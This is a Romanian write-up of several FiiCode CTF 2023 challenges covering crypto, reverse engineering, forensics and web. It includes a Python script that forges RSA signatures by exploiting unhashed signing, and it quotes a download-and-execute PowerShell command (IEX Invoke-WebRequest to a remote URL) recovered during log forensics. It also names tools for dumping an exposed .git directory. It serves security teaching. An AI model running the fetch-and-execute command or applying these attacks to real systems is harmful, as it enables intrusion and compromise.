FiiCode - CTF 2023

Introducere
Competitiile de tip capture the flag presupun rezolvarea unor probleme (challenge-uri) pentru a obtine
flag-uri care pot fi revendicate pe platforma competitiei pentru puncte. Problemele isi propun sa testeze
cunostinte din diverse arii ale securitatii cibernetice si sunt impartite pe categorii.

In prima editie a concursului am avut urmatoarele categorii:

1. Reverse Engineering : scopul principal este de a analiza unul sau mai multe fisiere executabile
pentru a determina modul in care acestea functioneaza, apoi, aceste cunostinte sunt folosite pentru a
modifica modul in care functioneaza acele fisiere executabile, pentru a gasi input-ul potrivit sau
pentru a decripta un output.
2. Cryptography : scopul principal al acestor probleme este de a identifica o greseala in modul in care
criptografia este aplicata intr-un anumit caz.
3. Forensics : scopul principal al acestui tip de probleme este de a investiga un set de fisiere, imagini
de disk, loguri, etc. pentru a reconstrui un atac sau pentru a gasi ceva ascus.
4. Web : scopul principal al acestui tip de probleme este de a testa diferite cunistinte despre atacurile
pe platforme web si pot cuprinde exploit-uri cunoscute, greseli de configurare, scurgerea de
informatii din greseala, etc.
5. Misc : in aceasta categorie am avut probleme care nu testeaza niste cunostinte specifice unui
domeniu, dar care pot fi de folos in mai multe situatii.

In unele probleme propuse am incercat sa ne inspiram din lucruri cu care ne-am intalnit in viata reala la
munca iar in altele am incercat sa prezentam probleme comune de securitate.
Mai departe, vrem sa va prezenta o parte din problemele propuse in editia din 2023 si sa va aratam cum
se pot rezolva.

History lesson
Descriere:

Hey, I found this file in an old floppy with a strange title, something about some book about
birds and a strange french guy...

Categorie: crypto

Fisier atasat: History lesson/history.txt

Rezolvare:
Textul fisierului dat contine caractere aparent aleatorii, avand in vedere ca este in categoria de
cryptografie, cel mai probabil e un text criptat. Avand in vedere ca nu avem alte informatii, cel mai probabil
este folosit un cifru destul de simplu. Pentru a afla cifrul folosit, putem folosi un identificator online precul
cel de pe dcode.fr

Conform rezultatelor, Vigenere pare cel mai probabil cifru folosit, daca folosim functia de automatic
decryption a tool-ului de criptanaliza pentru Vigenere de pe acelasi site obtinem o posibila cheie:
Putem observa ca cheia identificata ( AFOSTUSOR ) pare sa decripteze corect textul ( ME A WIZARD UNTIL A
WEEK AGO I WAS... ), insa, caracterele speciale precum spatiile nu sunt luate in considerare de tool, asa
ca putem cauta un alt tool, precum acesta. Daca folosim functia de auto solve putem vedea ca aceeasi
posibila cheie este identificata:
Asa ca o putem incerca pe acelasi site pentru decriptare, rezultatul fiind urmatorul:

Iar daca vom cauta formatul flag-ului putem observa ca acesta este undeva pe la mijlocul textului:

My sig auth
Descriere: Hey, checkout my new authentication server, it's using some crypto stuff with huge keys, for
sure it can't be bypassed...

Categorie: crypto

Date de conectare: nc <ip> <port>

Fisier atasat: My sig auth/main.py

Rezolvare:
Analizand codul, observam ca bucata urmatoare de cod este algoritmul de generare a unei chei de RSA:

p, q = get_random_primes(2048)

n = p * q
phi = (p - 1) * (q - 1)
e = 65537
while gcd(e, phi) != 1:
e += 2
 d = pow(e, -1, phi)

Daca ne conectam la server primim un output similar cu:

Serverul de autentificare, practic, ne cere sa generam o semnatura RSA valida pentru variabila challenge
generata aleator, avand doar cheia publica si putand sa cerem serverului sa genereze semnaturi pentru
orice dorim noi.

Algoritmul general de semnare pentru RSA este urmatorul:

d
signature = hash(message) (mod n)

Unde hash este o functie criptografica de hashing, d este exponentul privat si n este modulul public.

Insa, algoritmul de semnare folosit de program este:

d
signature = message (mod n)

Metoda aceasta de semnare poate fi exploatata daca factorizam challenge si cerem semnaturi pentru
factorii lui:

challenge = a × b

d
sa = a (mod n)

d
sb = b (mod n)

d d
challenge = (a × b) (mod n)

d d d
challenge = a × b (mod n)

d
challenge = sa × sb (mod n)

Astfel, pasii de rezolvare ar fi urmatorii:

1. din conexiunea de la server obtinem n si challenge

2. gasim a si b factori pentru challenge (optional, putem seta a = 2 si b = challenge // 2 daca
challenge e par, in caz contrar, refacem conexiunea)
3. trimitem catre server comenzile sign <a> si sign <b> pentru a obtine semnaturile
 4. inmultim semnaturile si trimitem catre server comanda check cu rezultatul inmultirii

from socket import socket

server_addr = ('127.0.0.1', 1234)

with socket() as sock:

sock.connect(server_addr)
first_message = sock.recv(4096).decode('utf-8').split('\n')

# 1. extragem n si challenge
n = int(first_message[1].split(" = ")[1])
challenge = int(first_message[3].split(" = ")[1])

# 2. ii gasim pe a si b astfel incat challenge = a * b

a = 0
for i in range(2, (challenge // 2) + 1):
if challenge % i == 0:
a = i
break

b = challenge // a

# 3. semnam a si b
sock.send(f"sign {a}\n".encode('utf-8'))
s_a = int(sock.recv(4096).decode('utf-8').split(" = ")[1])

sock.send(f"sign {b}\n".encode('utf-8'))
s_b = int(sock.recv(4096).decode('utf-8').split(" = ")[1])

# 4. trimitem semnatura si obtinem flag-ul

sign = (s_a * s_b) % n
sock.send(f"check {sign}\n".encode('utf-8'))
print(sock.recv(4096).decode('utf-8'))

Dupa rularea scriptului obtinem urmatorul mesaj:

Snorlax
Descriere: For my birthday I received this strange pet, it sleeps a lot but it might hold a great secret.

Fisier atasat: Snorlax/Snorlax.exe

Rezolvare:

Daca rulam fisierul observam ca nu pare sa faca nimic. Daca-l deschidem in PE-Bear pentru a afla mai
multe despre fisierul executabil, observam ca la sectiunea Imports fisierul importa o singura functie dintr-
un singur dll.

Conform documentatiei, functia _CorExeMain este folosita pentru a initializa CLR-ul in cazul unui
executabil de .NET, insemnand ca executabilul primit este scris in C# si poate fi decompilat folosind
dnSpy.
Daca deschidem executabilul in dnSpy si megem la entry point (click dreapta pe assembly-ul din stanga
pe num Snorlax -> Go to Entry Point ) ajungem la o functie obfuscata.

Insa, la finalul functiei vedem ca se apeleaza Console.WriteLine :

Si ca functia w.k.p este apelata de mai multe ori in cadrul functiei de la entry point:

Daca dam click pe ea, observam ca, mai departe, apeleaza Thread.Sleep :

Folosindu-ne de hint-ul dat in descriere, asta e probabil cauza pentru care programul pare blocat. Pentru
a rezolva aceasta problema, putem folosi feature-ul de Edit Method (ctrl + shift + e) din dnSpy si sa
stergem codul functiei si sa salvam modificarile (ctrl + shift + s).

Acum, putem rula codul si observam ca ne va scrie pe ecran flag-ul.

Eventful evening
Descriere:
Help! We are seeing strange connections coming from an employee's computer, no detection has been
raised but we collected the event logs just in case. Can you help us find out what has happened?

Fisier atasat: Eventful evening/Logs

Categorie: forensics

Rezolvare:
In arhiva atasata se afla event log-uri de windows (fisiere .evtx ). Ca si context, acestea sunt generate de
componente ale sistemului de operare si de alte programe, sunt folosite atat de administratori de sistem
(pentru a identifica probleme la nivelul configurarilor de sistem de operare), dar si de forensics engineers
sau incident responders intrucat contin foarte multe informatii despre ce anume s-a intamplat pe un sistem
la un anumit moment.

Exista destul de multe tool-uri pentru analiza automata de event loguri, insa, nu mereu aduc rezultate, ba
chiar, in necunostinta de cauza, pot sa te conduca pe piste false.

Pentru analiza manuala a event logurilor ne vom uita direct pe ele si vom incerca sa corelam mai multe
actiuni.
Nu exista o "reteta" general valabila pentru analiza event log-urilor care sa aiba succes garantat, insa, ne
putem folosi de un set de recomandari care ne pot duce in directia potrivita:

log-urile Application.evtx , Security.evtx si System.evtx contin, de cele mai multe ori, indicatori
spre parti ale atacului, in lipsa de mai mult context despre un atac ar putea aduce macar un punct de
pornire
in general, vrem sa gasim evenimente out of place, pe care nu le vedem de prea multe ori in loguri,
deobicei acestea ar putea indica un pas din atac
gasirea unui timeline pentru un atac este foarte importanta pentru a reduce scopul cautarii, daca nu
poate fi identificat usor un anume punct dintr-un atac din cele trei event log-uri mentionate anterior
atunci cel mai sigur e sa deschizi toate evenimentele intr-un view unificat si sa te uiti in ordinea
inversa a evenimentelor (de la cel mai nou la cel mai vechi)
logurile Microsoft-Windows-PowerShell%4Admin.evtx , Microsoft-Windows-
PowerShell%4Operational.evtx si Windows PowerShell.evtx pot contine informatii importante despre
ce scripturi de powershell au fost rulate (disponibilitatea lor depinde de lucruri precum versiunea de
sistem de operare, configurarile facute din registrii, etc.), intrucat powershell este foarte folosit de
atacatori este o sansa foarte mare ca urme ale atacului sa fie prezente aici

Pentru inceput, putem incarca Application.evtx , Security.evtx si System.evtx in event viewer-ul

default din windows sub sectiunea saved logs (click dreapta pe saved logs->open saved logs->alegem pe
fiecare pe rand, pentru ease of use, e bine sa le punem intr-un folder de event viewer nou)
Urmatorul pas este sa creem un unified view (click dreapta pe saved logs -> create custom view ->
alegem by log si directorul nou creeat -> ok)

Evenimentele sunt deja sortate in ordine inversa a timpului (atentie, timpul din coloana Date and Time
este in formatul local de timp, este important sa convertim toti timpii in UTC+0 pentru a elimina
ambiguitatea), urmatorul pas este sa selectam un eveniment si sa mergem la sectiunea Details
(personal, prefer formatul XML View pentru ca poate fi de ajutor in aflarea mai rapida a mai multor
informatii)
La 2023-04-17 08:11:03 (11:11:03 UTC+3) putem observa patru evenimente din sursa MsiInstaller :
Acestea indica instalarea cu succes al unui fisier .msi din locatia
C:\Users\Alice\AppData\Local\Temp\x.msi (de asemenea, product name-ul si informatiile despre
dezvoltatori sunt un hint cum ca suntem pe drumul cel bun).

Pentru a avea o privire mai de ansamblu, putem incarca si evenimentele de powershell mentionate
anterior (daca nu apar automat in view, un refresh sau editarea proprietatilor ar trebui sa fixeze problema).
Acum putem vedea niste evenimente de powershell intamplandu-se la un timp foarte apropiat de
instalarea .msi-ului:

La 2023-04-17 08:10:53 (11:10:53 UTC+3) putem observa un eveniment de powershell care ne poate
spune comanda care a fost executata:

IEX (Invoke-WebRequest -UseBasicParsing

https://storage.googleapis.com/8a4308d6fd58294d93e27ecd6bd7511e/e428961eaabe324ce6628174d374b
2c1)

Comanda Invoke-WebRequest este folosita pentru a face un request catre un site, returnand body-ul
raspunsului, iar, comanda IEX este o prescurtare a Invoke-Expression care executa string-ul returnat de
Invoke-WebRequest .

Deoarece la momentul scrierii write-up-ului acest url nu mai este activ, am atasat scriptul descarcat
( stage2.ps1 ).
Deschizand scriptul, observam ca este obfuscat, insa, putem vedea ca scrie pe disk si executa x.msi :

Daca redenumim variabilele, obtinem o forma mai usor de citit:

Cele doua variabile sunt decodate din baza 64 si xor-uite intre ele pentru a obtine x.msi , putem sa le
copiem continutul in CyberChef si sa aplicam aceste doua operatii pentru a face rost de installer:
Dupa descarcare, putem folosi 7Zip pentru a extrage continutul installer-ului. Observam ca are un singur
fisier care contine flag-ul:

Path of least resistance

Descriere:

We are trying to present the world a new innovation, but we have a big lack of devops
knowledge.
A friend of mine told me the site is leaking sensitive information. Can you find the leak?

Categorie: Web
Fisier atasat: Path of least resistance/Dockerfile Path of least resistance/src.tar.gz (concurentii
au avut doar adresa la care a fost hostat container-ul)

Rezolvare:
Dupa ce intram pe site observam urmatorul mesaj:

Neavand un punct de pornire clar, primul pas ar fi sa incercam sa gasim alte path-uri prin a face
enumeration cu tool-uri precum dirb sau feroxbuster.

In output-ul de la dirb putem observa ca a gasit doar doua path-uri, insa, cel mai important este
.git/HEAD , indicand faptul ca am putea descarca tot codul sursa folosind tool-uri precum git-dumper.

Flag-ul, insa, nu se afla direct in codul descarcat, dar, daca vom cauta referinte ale cuvantului flag ( grep
-i flag -r . ) gasim ca apare in doua fisiere:

Fisierul .env pare de interes, asa ca putem cauta daca a fost cumva modificat in trecut folosind comanda
git log --follow -p -- ./config/example.env si vom vedea ca flagul se afla intr-un commit anterior: